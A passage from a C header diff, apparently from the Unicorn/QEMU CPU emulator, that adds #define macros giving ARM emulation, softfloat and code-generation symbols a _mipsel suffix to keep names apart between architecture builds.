arm_ldl_code arm_ldl_code_mipsel +#define arm_lduw_code arm_lduw_code_mipsel +#define arm_log_exception arm_log_exception_mipsel +#define arm_reg_read arm_reg_read_mipsel +#define arm_reg_reset arm_reg_reset_mipsel +#define arm_reg_write arm_reg_write_mipsel +#define restore_state_to_opc restore_state_to_opc_mipsel +#define arm_rmode_to_sf arm_rmode_to_sf_mipsel +#define arm_singlestep_active arm_singlestep_active_mipsel +#define tlb_fill tlb_fill_mipsel +#define tlb_flush tlb_flush_mipsel +#define tlb_flush_page tlb_flush_page_mipsel +#define tlb_set_page tlb_set_page_mipsel +#define arm_translate_init arm_translate_init_mipsel +#define arm_v7m_class_init arm_v7m_class_init_mipsel +#define arm_v7m_cpu_do_interrupt arm_v7m_cpu_do_interrupt_mipsel +#define ats_access ats_access_mipsel +#define ats_write ats_write_mipsel +#define bad_mode_switch bad_mode_switch_mipsel +#define bank_number bank_number_mipsel +#define bitmap_zero_extend bitmap_zero_extend_mipsel +#define bp_wp_matches bp_wp_matches_mipsel +#define breakpoint_invalidate breakpoint_invalidate_mipsel +#define build_page_bitmap build_page_bitmap_mipsel +#define bus_add_child bus_add_child_mipsel +#define bus_class_init bus_class_init_mipsel +#define bus_info bus_info_mipsel +#define bus_unparent bus_unparent_mipsel +#define cache_block_ops_cp_reginfo cache_block_ops_cp_reginfo_mipsel +#define cache_dirty_status_cp_reginfo cache_dirty_status_cp_reginfo_mipsel +#define cache_test_clean_cp_reginfo cache_test_clean_cp_reginfo_mipsel +#define call_recip_estimate call_recip_estimate_mipsel +#define can_merge can_merge_mipsel +#define capacity_increase capacity_increase_mipsel +#define ccsidr_read ccsidr_read_mipsel +#define check_ap check_ap_mipsel +#define check_breakpoints check_breakpoints_mipsel +#define check_watchpoints check_watchpoints_mipsel +#define cho cho_mipsel +#define clear_bit clear_bit_mipsel +#define clz32 clz32_mipsel +#define clz64 clz64_mipsel +#define cmp_flatrange_addr cmp_flatrange_addr_mipsel +#define code_gen_alloc code_gen_alloc_mipsel +#define commonNaNToFloat128 commonNaNToFloat128_mipsel +#define commonNaNToFloat16 commonNaNToFloat16_mipsel +#define commonNaNToFloat32 commonNaNToFloat32_mipsel +#define commonNaNToFloat64 commonNaNToFloat64_mipsel +#define commonNaNToFloatx80 commonNaNToFloatx80_mipsel +#define compute_abs_deadline compute_abs_deadline_mipsel +#define cond_name cond_name_mipsel +#define configure_accelerator configure_accelerator_mipsel +#define container_get container_get_mipsel +#define container_info container_info_mipsel +#define container_register_types container_register_types_mipsel +#define contextidr_write contextidr_write_mipsel +#define core_log_global_start core_log_global_start_mipsel +#define core_log_global_stop core_log_global_stop_mipsel +#define core_memory_listener core_memory_listener_mipsel +#define cortexa15_cp_reginfo cortexa15_cp_reginfo_mipsel +#define cortex_a15_initfn cortex_a15_initfn_mipsel +#define cortexa8_cp_reginfo cortexa8_cp_reginfo_mipsel +#define cortex_a8_initfn cortex_a8_initfn_mipsel +#define cortexa9_cp_reginfo cortexa9_cp_reginfo_mipsel +#define cortex_a9_initfn cortex_a9_initfn_mipsel +#define cortex_m3_initfn cortex_m3_initfn_mipsel +#define count_cpreg count_cpreg_mipsel +#define countLeadingZeros32 countLeadingZeros32_mipsel +#define countLeadingZeros64 countLeadingZeros64_mipsel +#define cp_access_ok cp_access_ok_mipsel +#define cpacr_write cpacr_write_mipsel +#define cpreg_field_is_64bit cpreg_field_is_64bit_mipsel +#define cp_reginfo cp_reginfo_mipsel +#define cpreg_key_compare cpreg_key_compare_mipsel +#define cpreg_make_keylist cpreg_make_keylist_mipsel +#define cp_reg_reset cp_reg_reset_mipsel +#define cpreg_to_kvm_id cpreg_to_kvm_id_mipsel +#define cpsr_read cpsr_read_mipsel +#define cpsr_write cpsr_write_mipsel +#define cptype_valid cptype_valid_mipsel +#define cpu_abort cpu_abort_mipsel +#define cpu_arm_exec cpu_arm_exec_mipsel +#define cpu_arm_gen_code cpu_arm_gen_code_mipsel +#define cpu_arm_init cpu_arm_init_mipsel +#define cpu_breakpoint_insert cpu_breakpoint_insert_mipsel +#define cpu_breakpoint_remove cpu_breakpoint_remove_mipsel +#define cpu_breakpoint_remove_all cpu_breakpoint_remove_all_mipsel +#define cpu_breakpoint_remove_by_ref cpu_breakpoint_remove_by_ref_mipsel +#define cpu_can_do_io cpu_can_do_io_mipsel +#define cpu_can_run cpu_can_run_mipsel +#define cpu_class_init cpu_class_init_mipsel +#define cpu_common_class_by_name cpu_common_class_by_name_mipsel +#define cpu_common_exec_interrupt cpu_common_exec_interrupt_mipsel +#define cpu_common_get_arch_id cpu_common_get_arch_id_mipsel +#define cpu_common_get_memory_mapping cpu_common_get_memory_mapping_mipsel +#define cpu_common_get_paging_enabled cpu_common_get_paging_enabled_mipsel +#define cpu_common_has_work cpu_common_has_work_mipsel +#define cpu_common_initfn cpu_common_initfn_mipsel +#define cpu_common_noop cpu_common_noop_mipsel +#define cpu_common_parse_features cpu_common_parse_features_mipsel +#define cpu_common_realizefn cpu_common_realizefn_mipsel +#define cpu_common_reset cpu_common_reset_mipsel +#define cpu_dump_statistics cpu_dump_statistics_mipsel +#define cpu_exec_init cpu_exec_init_mipsel +#define cpu_flush_icache_range cpu_flush_icache_range_mipsel +#define cpu_gen_init cpu_gen_init_mipsel +#define cpu_get_clock cpu_get_clock_mipsel +#define cpu_get_real_ticks cpu_get_real_ticks_mipsel +#define cpu_get_tb_cpu_state cpu_get_tb_cpu_state_mipsel +#define cpu_handle_debug_exception cpu_handle_debug_exception_mipsel +#define cpu_handle_guest_debug cpu_handle_guest_debug_mipsel +#define cpu_inb cpu_inb_mipsel +#define cpu_inl cpu_inl_mipsel +#define cpu_interrupt cpu_interrupt_mipsel +#define cpu_interrupt_handler cpu_interrupt_handler_mipsel +#define cpu_inw cpu_inw_mipsel +#define cpu_io_recompile cpu_io_recompile_mipsel +#define cpu_is_stopped cpu_is_stopped_mipsel +#define cpu_ldl_code cpu_ldl_code_mipsel +#define cpu_ldub_code cpu_ldub_code_mipsel +#define cpu_lduw_code cpu_lduw_code_mipsel +#define cpu_memory_rw_debug cpu_memory_rw_debug_mipsel +#define cpu_mmu_index cpu_mmu_index_mipsel +#define cpu_outb cpu_outb_mipsel +#define cpu_outl cpu_outl_mipsel +#define cpu_outw cpu_outw_mipsel +#define cpu_physical_memory_clear_dirty_range cpu_physical_memory_clear_dirty_range_mipsel +#define cpu_physical_memory_get_clean cpu_physical_memory_get_clean_mipsel +#define cpu_physical_memory_get_dirty cpu_physical_memory_get_dirty_mipsel +#define cpu_physical_memory_get_dirty_flag cpu_physical_memory_get_dirty_flag_mipsel +#define cpu_physical_memory_is_clean cpu_physical_memory_is_clean_mipsel +#define cpu_physical_memory_is_io cpu_physical_memory_is_io_mipsel +#define cpu_physical_memory_map cpu_physical_memory_map_mipsel +#define cpu_physical_memory_range_includes_clean cpu_physical_memory_range_includes_clean_mipsel +#define cpu_physical_memory_reset_dirty cpu_physical_memory_reset_dirty_mipsel +#define cpu_physical_memory_rw cpu_physical_memory_rw_mipsel +#define cpu_physical_memory_set_dirty_flag cpu_physical_memory_set_dirty_flag_mipsel +#define cpu_physical_memory_set_dirty_range cpu_physical_memory_set_dirty_range_mipsel +#define cpu_physical_memory_unmap cpu_physical_memory_unmap_mipsel +#define cpu_physical_memory_write_rom cpu_physical_memory_write_rom_mipsel +#define cpu_physical_memory_write_rom_internal cpu_physical_memory_write_rom_internal_mipsel +#define cpu_register cpu_register_mipsel +#define cpu_register_types cpu_register_types_mipsel +#define cpu_restore_state cpu_restore_state_mipsel +#define cpu_restore_state_from_tb cpu_restore_state_from_tb_mipsel +#define cpu_single_step cpu_single_step_mipsel +#define cpu_tb_exec cpu_tb_exec_mipsel +#define cpu_tlb_reset_dirty_all cpu_tlb_reset_dirty_all_mipsel +#define cpu_to_be64 cpu_to_be64_mipsel +#define cpu_to_le32 cpu_to_le32_mipsel +#define cpu_to_le64 cpu_to_le64_mipsel +#define cpu_type_info cpu_type_info_mipsel +#define cpu_unassigned_access cpu_unassigned_access_mipsel +#define cpu_watchpoint_address_matches cpu_watchpoint_address_matches_mipsel +#define cpu_watchpoint_insert cpu_watchpoint_insert_mipsel +#define cpu_watchpoint_remove cpu_watchpoint_remove_mipsel +#define cpu_watchpoint_remove_all cpu_watchpoint_remove_all_mipsel +#define cpu_watchpoint_remove_by_ref cpu_watchpoint_remove_by_ref_mipsel +#define crc32c_table crc32c_table_mipsel +#define create_new_memory_mapping create_new_memory_mapping_mipsel +#define csselr_write csselr_write_mipsel +#define cto32 cto32_mipsel +#define ctr_el0_access ctr_el0_access_mipsel +#define ctz32 ctz32_mipsel +#define ctz64 ctz64_mipsel +#define dacr_write dacr_write_mipsel +#define dbgbcr_write dbgbcr_write_mipsel +#define dbgbvr_write dbgbvr_write_mipsel +#define dbgwcr_write dbgwcr_write_mipsel +#define dbgwvr_write dbgwvr_write_mipsel +#define debug_cp_reginfo debug_cp_reginfo_mipsel +#define debug_frame debug_frame_mipsel +#define debug_lpae_cp_reginfo debug_lpae_cp_reginfo_mipsel +#define define_arm_cp_regs define_arm_cp_regs_mipsel +#define define_arm_cp_regs_with_opaque define_arm_cp_regs_with_opaque_mipsel +#define define_debug_regs define_debug_regs_mipsel +#define define_one_arm_cp_reg define_one_arm_cp_reg_mipsel +#define define_one_arm_cp_reg_with_opaque define_one_arm_cp_reg_with_opaque_mipsel +#define deposit32 deposit32_mipsel +#define deposit64 deposit64_mipsel +#define deregister_tm_clones deregister_tm_clones_mipsel +#define device_class_base_init device_class_base_init_mipsel +#define device_class_init device_class_init_mipsel +#define device_finalize device_finalize_mipsel +#define device_get_realized device_get_realized_mipsel +#define device_initfn device_initfn_mipsel +#define device_post_init device_post_init_mipsel +#define device_reset device_reset_mipsel +#define device_set_realized device_set_realized_mipsel +#define device_type_info device_type_info_mipsel +#define disas_arm_insn disas_arm_insn_mipsel +#define disas_coproc_insn disas_coproc_insn_mipsel +#define disas_dsp_insn disas_dsp_insn_mipsel +#define disas_iwmmxt_insn disas_iwmmxt_insn_mipsel +#define disas_neon_data_insn disas_neon_data_insn_mipsel +#define disas_neon_ls_insn disas_neon_ls_insn_mipsel +#define disas_thumb2_insn disas_thumb2_insn_mipsel +#define disas_thumb_insn disas_thumb_insn_mipsel +#define disas_vfp_insn disas_vfp_insn_mipsel +#define disas_vfp_v8_insn disas_vfp_v8_insn_mipsel +#define do_arm_semihosting do_arm_semihosting_mipsel +#define do_clz16 do_clz16_mipsel +#define do_clz8 do_clz8_mipsel +#define do_constant_folding do_constant_folding_mipsel +#define do_constant_folding_2 do_constant_folding_2_mipsel +#define do_constant_folding_cond do_constant_folding_cond_mipsel +#define do_constant_folding_cond2 do_constant_folding_cond2_mipsel +#define do_constant_folding_cond_32 do_constant_folding_cond_32_mipsel +#define do_constant_folding_cond_64 do_constant_folding_cond_64_mipsel +#define do_constant_folding_cond_eq do_constant_folding_cond_eq_mipsel +#define do_fcvt_f16_to_f32 do_fcvt_f16_to_f32_mipsel +#define do_fcvt_f32_to_f16 do_fcvt_f32_to_f16_mipsel +#define do_ssat do_ssat_mipsel +#define do_usad do_usad_mipsel +#define do_usat do_usat_mipsel +#define do_v7m_exception_exit do_v7m_exception_exit_mipsel +#define dummy_c15_cp_reginfo dummy_c15_cp_reginfo_mipsel +#define dummy_func dummy_func_mipsel +#define dummy_section dummy_section_mipsel +#define _DYNAMIC _DYNAMIC_mipsel +#define _edata _edata_mipsel +#define _end _end_mipsel +#define end_list end_list_mipsel +#define eq128 eq128_mipsel +#define ErrorClass_lookup ErrorClass_lookup_mipsel +#define error_copy error_copy_mipsel +#define error_exit error_exit_mipsel +#define error_get_class error_get_class_mipsel +#define error_get_pretty error_get_pretty_mipsel +#define error_setg_file_open error_setg_file_open_mipsel +#define estimateDiv128To64 estimateDiv128To64_mipsel +#define estimateSqrt32 estimateSqrt32_mipsel +#define excnames excnames_mipsel +#define excp_is_internal excp_is_internal_mipsel +#define extended_addresses_enabled extended_addresses_enabled_mipsel +#define extended_mpu_ap_bits extended_mpu_ap_bits_mipsel +#define extract32 extract32_mipsel +#define extract64 extract64_mipsel +#define extractFloat128Exp extractFloat128Exp_mipsel +#define extractFloat128Frac0 extractFloat128Frac0_mipsel +#define extractFloat128Frac1 extractFloat128Frac1_mipsel +#define extractFloat128Sign extractFloat128Sign_mipsel +#define extractFloat16Exp extractFloat16Exp_mipsel +#define extractFloat16Frac extractFloat16Frac_mipsel +#define extractFloat16Sign extractFloat16Sign_mipsel +#define extractFloat32Exp extractFloat32Exp_mipsel +#define extractFloat32Frac extractFloat32Frac_mipsel +#define extractFloat32Sign extractFloat32Sign_mipsel +#define extractFloat64Exp extractFloat64Exp_mipsel +#define extractFloat64Frac extractFloat64Frac_mipsel +#define extractFloat64Sign extractFloat64Sign_mipsel +#define extractFloatx80Exp extractFloatx80Exp_mipsel +#define extractFloatx80Frac extractFloatx80Frac_mipsel +#define extractFloatx80Sign extractFloatx80Sign_mipsel +#define fcse_write fcse_write_mipsel +#define find_better_copy find_better_copy_mipsel +#define find_default_machine find_default_machine_mipsel +#define find_desc_by_name find_desc_by_name_mipsel +#define find_first_bit find_first_bit_mipsel +#define find_paging_enabled_cpu find_paging_enabled_cpu_mipsel +#define find_ram_block find_ram_block_mipsel +#define find_ram_offset find_ram_offset_mipsel +#define find_string find_string_mipsel +#define find_type find_type_mipsel +#define _fini _fini_mipsel +#define flatrange_equal flatrange_equal_mipsel +#define flatview_destroy flatview_destroy_mipsel +#define flatview_init flatview_init_mipsel +#define flatview_insert flatview_insert_mipsel +#define flatview_lookup flatview_lookup_mipsel +#define flatview_ref flatview_ref_mipsel +#define flatview_simplify flatview_simplify_mipsel +#define flatview_unref flatview_unref_mipsel +#define float128_add float128_add_mipsel +#define float128_compare float128_compare_mipsel +#define float128_compare_internal float128_compare_internal_mipsel +#define float128_compare_quiet float128_compare_quiet_mipsel +#define float128_default_nan float128_default_nan_mipsel +#define float128_div float128_div_mipsel +#define float128_eq float128_eq_mipsel +#define float128_eq_quiet float128_eq_quiet_mipsel +#define float128_is_quiet_nan float128_is_quiet_nan_mipsel +#define float128_is_signaling_nan float128_is_signaling_nan_mipsel +#define float128_le float128_le_mipsel +#define float128_le_quiet float128_le_quiet_mipsel +#define float128_lt float128_lt_mipsel +#define float128_lt_quiet float128_lt_quiet_mipsel +#define float128_maybe_silence_nan float128_maybe_silence_nan_mipsel +#define float128_mul float128_mul_mipsel +#define float128_rem float128_rem_mipsel +#define float128_round_to_int float128_round_to_int_mipsel +#define float128_scalbn float128_scalbn_mipsel +#define float128_sqrt float128_sqrt_mipsel +#define float128_sub float128_sub_mipsel +#define float128ToCommonNaN float128ToCommonNaN_mipsel +#define float128_to_float32 float128_to_float32_mipsel +#define float128_to_float64 float128_to_float64_mipsel +#define float128_to_floatx80 float128_to_floatx80_mipsel +#define float128_to_int32 float128_to_int32_mipsel +#define float128_to_int32_round_to_zero float128_to_int32_round_to_zero_mipsel +#define float128_to_int64 float128_to_int64_mipsel +#define float128_to_int64_round_to_zero float128_to_int64_round_to_zero_mipsel +#define float128_unordered float128_unordered_mipsel +#define float128_unordered_quiet float128_unordered_quiet_mipsel +#define float16_default_nan float16_default_nan_mipsel +#define float16_is_quiet_nan float16_is_quiet_nan_mipsel +#define float16_is_signaling_nan float16_is_signaling_nan_mipsel +#define float16_maybe_silence_nan float16_maybe_silence_nan_mipsel +#define float16ToCommonNaN float16ToCommonNaN_mipsel +#define float16_to_float32 float16_to_float32_mipsel +#define float16_to_float64 float16_to_float64_mipsel +#define float32_abs float32_abs_mipsel +#define float32_add float32_add_mipsel +#define float32_chs float32_chs_mipsel +#define float32_compare float32_compare_mipsel +#define float32_compare_internal float32_compare_internal_mipsel +#define float32_compare_quiet float32_compare_quiet_mipsel +#define float32_default_nan float32_default_nan_mipsel +#define float32_div float32_div_mipsel +#define float32_eq float32_eq_mipsel +#define float32_eq_quiet float32_eq_quiet_mipsel +#define float32_exp2 float32_exp2_mipsel +#define float32_exp2_coefficients float32_exp2_coefficients_mipsel +#define float32_is_any_nan float32_is_any_nan_mipsel +#define float32_is_infinity float32_is_infinity_mipsel +#define float32_is_neg float32_is_neg_mipsel +#define float32_is_quiet_nan float32_is_quiet_nan_mipsel +#define float32_is_signaling_nan float32_is_signaling_nan_mipsel +#define float32_is_zero float32_is_zero_mipsel +#define float32_is_zero_or_denormal float32_is_zero_or_denormal_mipsel +#define float32_le float32_le_mipsel +#define float32_le_quiet float32_le_quiet_mipsel +#define float32_log2 float32_log2_mipsel +#define float32_lt float32_lt_mipsel +#define float32_lt_quiet float32_lt_quiet_mipsel +#define float32_max float32_max_mipsel +#define float32_maxnum float32_maxnum_mipsel +#define float32_maxnummag float32_maxnummag_mipsel +#define float32_maybe_silence_nan float32_maybe_silence_nan_mipsel +#define float32_min float32_min_mipsel +#define float32_minmax float32_minmax_mipsel +#define float32_minnum float32_minnum_mipsel +#define float32_minnummag float32_minnummag_mipsel +#define float32_mul float32_mul_mipsel +#define float32_muladd float32_muladd_mipsel +#define float32_rem float32_rem_mipsel +#define float32_round_to_int float32_round_to_int_mipsel +#define float32_scalbn float32_scalbn_mipsel +#define float32_set_sign float32_set_sign_mipsel +#define float32_sqrt float32_sqrt_mipsel +#define float32_squash_input_denormal float32_squash_input_denormal_mipsel +#define float32_sub float32_sub_mipsel +#define float32ToCommonNaN float32ToCommonNaN_mipsel +#define float32_to_float128 float32_to_float128_mipsel +#define float32_to_float16 float32_to_float16_mipsel +#define float32_to_float64 float32_to_float64_mipsel +#define float32_to_floatx80 float32_to_floatx80_mipsel +#define float32_to_int16 float32_to_int16_mipsel +#define float32_to_int16_round_to_zero float32_to_int16_round_to_zero_mipsel +#define float32_to_int32 float32_to_int32_mipsel +#define float32_to_int32_round_to_zero float32_to_int32_round_to_zero_mipsel +#define float32_to_int64 float32_to_int64_mipsel +#define float32_to_int64_round_to_zero float32_to_int64_round_to_zero_mipsel +#define float32_to_uint16 float32_to_uint16_mipsel +#define float32_to_uint16_round_to_zero float32_to_uint16_round_to_zero_mipsel +#define float32_to_uint32 float32_to_uint32_mipsel +#define float32_to_uint32_round_to_zero float32_to_uint32_round_to_zero_mipsel +#define float32_to_uint64 float32_to_uint64_mipsel +#define float32_to_uint64_round_to_zero float32_to_uint64_round_to_zero_mipsel +#define float32_unordered float32_unordered_mipsel +#define float32_unordered_quiet float32_unordered_quiet_mipsel +#define float64_abs float64_abs_mipsel +#define float64_add float64_add_mipsel +#define float64_chs float64_chs_mipsel +#define float64_compare float64_compare_mipsel +#define float64_compare_internal float64_compare_internal_mipsel +#define float64_compare_quiet float64_compare_quiet_mipsel +#define float64_default_nan float64_default_nan_mipsel +#define float64_div float64_div_mipsel +#define float64_eq float64_eq_mipsel +#define float64_eq_quiet float64_eq_quiet_mipsel +#define float64_is_any_nan float64_is_any_nan_mipsel +#define float64_is_infinity float64_is_infinity_mipsel +#define float64_is_neg float64_is_neg_mipsel +#define float64_is_quiet_nan float64_is_quiet_nan_mipsel +#define float64_is_signaling_nan float64_is_signaling_nan_mipsel +#define float64_is_zero float64_is_zero_mipsel +#define float64_le float64_le_mipsel +#define float64_le_quiet float64_le_quiet_mipsel +#define float64_log2 float64_log2_mipsel +#define float64_lt float64_lt_mipsel +#define float64_lt_quiet float64_lt_quiet_mipsel +#define float64_max float64_max_mipsel +#define float64_maxnum float64_maxnum_mipsel +#define float64_maxnummag float64_maxnummag_mipsel +#define float64_maybe_silence_nan float64_maybe_silence_nan_mipsel +#define float64_min float64_min_mipsel +#define float64_minmax float64_minmax_mipsel +#define float64_minnum float64_minnum_mipsel +#define float64_minnummag float64_minnummag_mipsel +#define float64_mul float64_mul_mipsel +#define float64_muladd float64_muladd_mipsel +#define float64_rem float64_rem_mipsel +#define float64_round_to_int float64_round_to_int_mipsel +#define float64_scalbn float64_scalbn_mipsel +#define float64_set_sign float64_set_sign_mipsel +#define float64_sqrt float64_sqrt_mipsel +#define float64_squash_input_denormal float64_squash_input_denormal_mipsel +#define float64_sub float64_sub_mipsel +#define float64ToCommonNaN float64ToCommonNaN_mipsel +#define float64_to_float128 float64_to_float128_mipsel +#define float64_to_float16 float64_to_float16_mipsel +#define float64_to_float32 float64_to_float32_mipsel +#define float64_to_floatx80 float64_to_floatx80_mipsel +#define float64_to_int16 float64_to_int16_mipsel +#define float64_to_int16_round_to_zero float64_to_int16_round_to_zero_mipsel +#define float64_to_int32 float64_to_int32_mipsel +#define float64_to_int32_round_to_zero float64_to_int32_round_to_zero_mipsel +#define float64_to_int64 float64_to_int64_mipsel +#define float64_to_int64_round_to_zero float64_to_int64_round_to_zero_mipsel +#define float64_to_uint16 float64_to_uint16_mipsel +#define float64_to_uint16_round_to_zero float64_to_uint16_round_to_zero_mipsel +#define float64_to_uint32 float64_to_uint32_mipsel +#define float64_to_uint32_round_to_zero float64_to_uint32_round_to_zero_mipsel +#define float64_to_uint64 float64_to_uint64_mipsel +#define float64_to_uint64_round_to_zero float64_to_uint64_round_to_zero_mipsel +#define float64_trunc_to_int float64_trunc_to_int_mipsel +#define float64_unordered float64_unordered_mipsel +#define float64_unordered_quiet float64_unordered_quiet_mipsel +#define float_raise float_raise_mipsel +#define floatx80_add floatx80_add_mipsel +#define floatx80_compare floatx80_compare_mipsel +#define floatx80_compare_internal floatx80_compare_internal_mipsel +#define floatx80_compare_quiet floatx80_compare_quiet_mipsel +#define floatx80_default_nan floatx80_default_nan_mipsel +#define floatx80_div floatx80_div_mipsel +#define floatx80_eq floatx80_eq_mipsel +#define floatx80_eq_quiet floatx80_eq_quiet_mipsel +#define floatx80_is_quiet_nan floatx80_is_quiet_nan_mipsel +#define floatx80_is_signaling_nan floatx80_is_signaling_nan_mipsel +#define floatx80_le floatx80_le_mipsel +#define floatx80_le_quiet floatx80_le_quiet_mipsel +#define floatx80_lt floatx80_lt_mipsel +#define floatx80_lt_quiet floatx80_lt_quiet_mipsel +#define floatx80_maybe_silence_nan floatx80_maybe_silence_nan_mipsel +#define floatx80_mul floatx80_mul_mipsel +#define floatx80_rem floatx80_rem_mipsel +#define floatx80_round_to_int floatx80_round_to_int_mipsel +#define floatx80_scalbn floatx80_scalbn_mipsel +#define floatx80_sqrt floatx80_sqrt_mipsel +#define floatx80_sub floatx80_sub_mipsel +#define floatx80ToCommonNaN floatx80ToCommonNaN_mipsel +#define floatx80_to_float128 floatx80_to_float128_mipsel +#define floatx80_to_float32 floatx80_to_float32_mipsel +#define floatx80_to_float64 floatx80_to_float64_mipsel +#define floatx80_to_int32 floatx80_to_int32_mipsel +#define floatx80_to_int32_round_to_zero floatx80_to_int32_round_to_zero_mipsel +#define floatx80_to_int64 floatx80_to_int64_mipsel +#define floatx80_to_int64_round_to_zero floatx80_to_int64_round_to_zero_mipsel +#define floatx80_unordered floatx80_unordered_mipsel +#define floatx80_unordered_quiet floatx80_unordered_quiet_mipsel +#define flush_icache_range flush_icache_range_mipsel +#define format_string format_string_mipsel +#define fp_decode_rm fp_decode_rm_mipsel +#define frame_dummy frame_dummy_mipsel +#define free_range free_range_mipsel +#define fstat64 fstat64_mipsel +#define futex_wait futex_wait_mipsel +#define futex_wake futex_wake_mipsel +#define gen_aa32_ld16s gen_aa32_ld16s_mipsel +#define gen_aa32_ld16u gen_aa32_ld16u_mipsel +#define gen_aa32_ld32u gen_aa32_ld32u_mipsel +#define gen_aa32_ld64 gen_aa32_ld64_mipsel +#define gen_aa32_ld8s gen_aa32_ld8s_mipsel +#define gen_aa32_ld8u gen_aa32_ld8u_mipsel +#define gen_aa32_st16 gen_aa32_st16_mipsel +#define gen_aa32_st32 gen_aa32_st32_mipsel +#define gen_aa32_st64 gen_aa32_st64_mipsel +#define gen_aa32_st8 gen_aa32_st8_mipsel +#define gen_adc gen_adc_mipsel +#define gen_adc_CC gen_adc_CC_mipsel +#define gen_add16 gen_add16_mipsel +#define gen_add_carry gen_add_carry_mipsel +#define gen_add_CC gen_add_CC_mipsel +#define gen_add_datah_offset gen_add_datah_offset_mipsel +#define gen_add_data_offset gen_add_data_offset_mipsel +#define gen_addq gen_addq_mipsel +#define gen_addq_lo gen_addq_lo_mipsel +#define gen_addq_msw gen_addq_msw_mipsel +#define gen_arm_parallel_addsub gen_arm_parallel_addsub_mipsel +#define gen_arm_shift_im gen_arm_shift_im_mipsel +#define gen_arm_shift_reg gen_arm_shift_reg_mipsel +#define gen_bx gen_bx_mipsel +#define gen_bx_im gen_bx_im_mipsel +#define gen_clrex gen_clrex_mipsel +#define generate_memory_topology generate_memory_topology_mipsel +#define generic_timer_cp_reginfo generic_timer_cp_reginfo_mipsel +#define gen_exception gen_exception_mipsel +#define gen_exception_insn gen_exception_insn_mipsel +#define gen_exception_internal gen_exception_internal_mipsel +#define gen_exception_internal_insn gen_exception_internal_insn_mipsel +#define gen_exception_return gen_exception_return_mipsel +#define gen_goto_tb gen_goto_tb_mipsel +#define gen_helper_access_check_cp_reg gen_helper_access_check_cp_reg_mipsel +#define gen_helper_add_saturate gen_helper_add_saturate_mipsel +#define gen_helper_add_setq gen_helper_add_setq_mipsel +#define gen_helper_clear_pstate_ss gen_helper_clear_pstate_ss_mipsel +#define gen_helper_clz32 gen_helper_clz32_mipsel +#define gen_helper_clz64 gen_helper_clz64_mipsel +#define gen_helper_clz_arm gen_helper_clz_arm_mipsel +#define gen_helper_cpsr_read gen_helper_cpsr_read_mipsel +#define gen_helper_cpsr_write gen_helper_cpsr_write_mipsel +#define gen_helper_crc32_arm gen_helper_crc32_arm_mipsel +#define gen_helper_crc32c gen_helper_crc32c_mipsel +#define gen_helper_crypto_aese gen_helper_crypto_aese_mipsel +#define gen_helper_crypto_aesmc gen_helper_crypto_aesmc_mipsel +#define gen_helper_crypto_sha1_3reg gen_helper_crypto_sha1_3reg_mipsel +#define gen_helper_crypto_sha1h gen_helper_crypto_sha1h_mipsel +#define gen_helper_crypto_sha1su1 gen_helper_crypto_sha1su1_mipsel +#define gen_helper_crypto_sha256h gen_helper_crypto_sha256h_mipsel +#define gen_helper_crypto_sha256h2 gen_helper_crypto_sha256h2_mipsel +#define gen_helper_crypto_sha256su0 gen_helper_crypto_sha256su0_mipsel +#define gen_helper_crypto_sha256su1 gen_helper_crypto_sha256su1_mipsel +#define gen_helper_double_saturate gen_helper_double_saturate_mipsel +#define gen_helper_exception_internal gen_helper_exception_internal_mipsel +#define gen_helper_exception_with_syndrome gen_helper_exception_with_syndrome_mipsel +#define gen_helper_get_cp_reg gen_helper_get_cp_reg_mipsel +#define gen_helper_get_cp_reg64 gen_helper_get_cp_reg64_mipsel +#define gen_helper_get_r13_banked gen_helper_get_r13_banked_mipsel +#define gen_helper_get_user_reg gen_helper_get_user_reg_mipsel +#define gen_helper_iwmmxt_addcb gen_helper_iwmmxt_addcb_mipsel +#define gen_helper_iwmmxt_addcl gen_helper_iwmmxt_addcl_mipsel +#define gen_helper_iwmmxt_addcw gen_helper_iwmmxt_addcw_mipsel +#define gen_helper_iwmmxt_addnb gen_helper_iwmmxt_addnb_mipsel +#define gen_helper_iwmmxt_addnl gen_helper_iwmmxt_addnl_mipsel +#define gen_helper_iwmmxt_addnw gen_helper_iwmmxt_addnw_mipsel +#define gen_helper_iwmmxt_addsb gen_helper_iwmmxt_addsb_mipsel +#define gen_helper_iwmmxt_addsl gen_helper_iwmmxt_addsl_mipsel +#define gen_helper_iwmmxt_addsw gen_helper_iwmmxt_addsw_mipsel +#define gen_helper_iwmmxt_addub gen_helper_iwmmxt_addub_mipsel +#define gen_helper_iwmmxt_addul gen_helper_iwmmxt_addul_mipsel +#define gen_helper_iwmmxt_adduw gen_helper_iwmmxt_adduw_mipsel +#define gen_helper_iwmmxt_align gen_helper_iwmmxt_align_mipsel +#define gen_helper_iwmmxt_avgb0 gen_helper_iwmmxt_avgb0_mipsel +#define gen_helper_iwmmxt_avgb1 gen_helper_iwmmxt_avgb1_mipsel +#define gen_helper_iwmmxt_avgw0 gen_helper_iwmmxt_avgw0_mipsel +#define gen_helper_iwmmxt_avgw1 gen_helper_iwmmxt_avgw1_mipsel +#define gen_helper_iwmmxt_bcstb gen_helper_iwmmxt_bcstb_mipsel +#define gen_helper_iwmmxt_bcstl gen_helper_iwmmxt_bcstl_mipsel +#define gen_helper_iwmmxt_bcstw gen_helper_iwmmxt_bcstw_mipsel +#define gen_helper_iwmmxt_cmpeqb gen_helper_iwmmxt_cmpeqb_mipsel +#define gen_helper_iwmmxt_cmpeql gen_helper_iwmmxt_cmpeql_mipsel +#define gen_helper_iwmmxt_cmpeqw gen_helper_iwmmxt_cmpeqw_mipsel +#define gen_helper_iwmmxt_cmpgtsb gen_helper_iwmmxt_cmpgtsb_mipsel +#define gen_helper_iwmmxt_cmpgtsl gen_helper_iwmmxt_cmpgtsl_mipsel +#define gen_helper_iwmmxt_cmpgtsw gen_helper_iwmmxt_cmpgtsw_mipsel +#define gen_helper_iwmmxt_cmpgtub gen_helper_iwmmxt_cmpgtub_mipsel +#define gen_helper_iwmmxt_cmpgtul gen_helper_iwmmxt_cmpgtul_mipsel +#define gen_helper_iwmmxt_cmpgtuw gen_helper_iwmmxt_cmpgtuw_mipsel +#define gen_helper_iwmmxt_insr gen_helper_iwmmxt_insr_mipsel +#define gen_helper_iwmmxt_macsw gen_helper_iwmmxt_macsw_mipsel +#define gen_helper_iwmmxt_macuw gen_helper_iwmmxt_macuw_mipsel +#define gen_helper_iwmmxt_maddsq gen_helper_iwmmxt_maddsq_mipsel +#define gen_helper_iwmmxt_madduq gen_helper_iwmmxt_madduq_mipsel +#define gen_helper_iwmmxt_maxsb gen_helper_iwmmxt_maxsb_mipsel +#define gen_helper_iwmmxt_maxsl 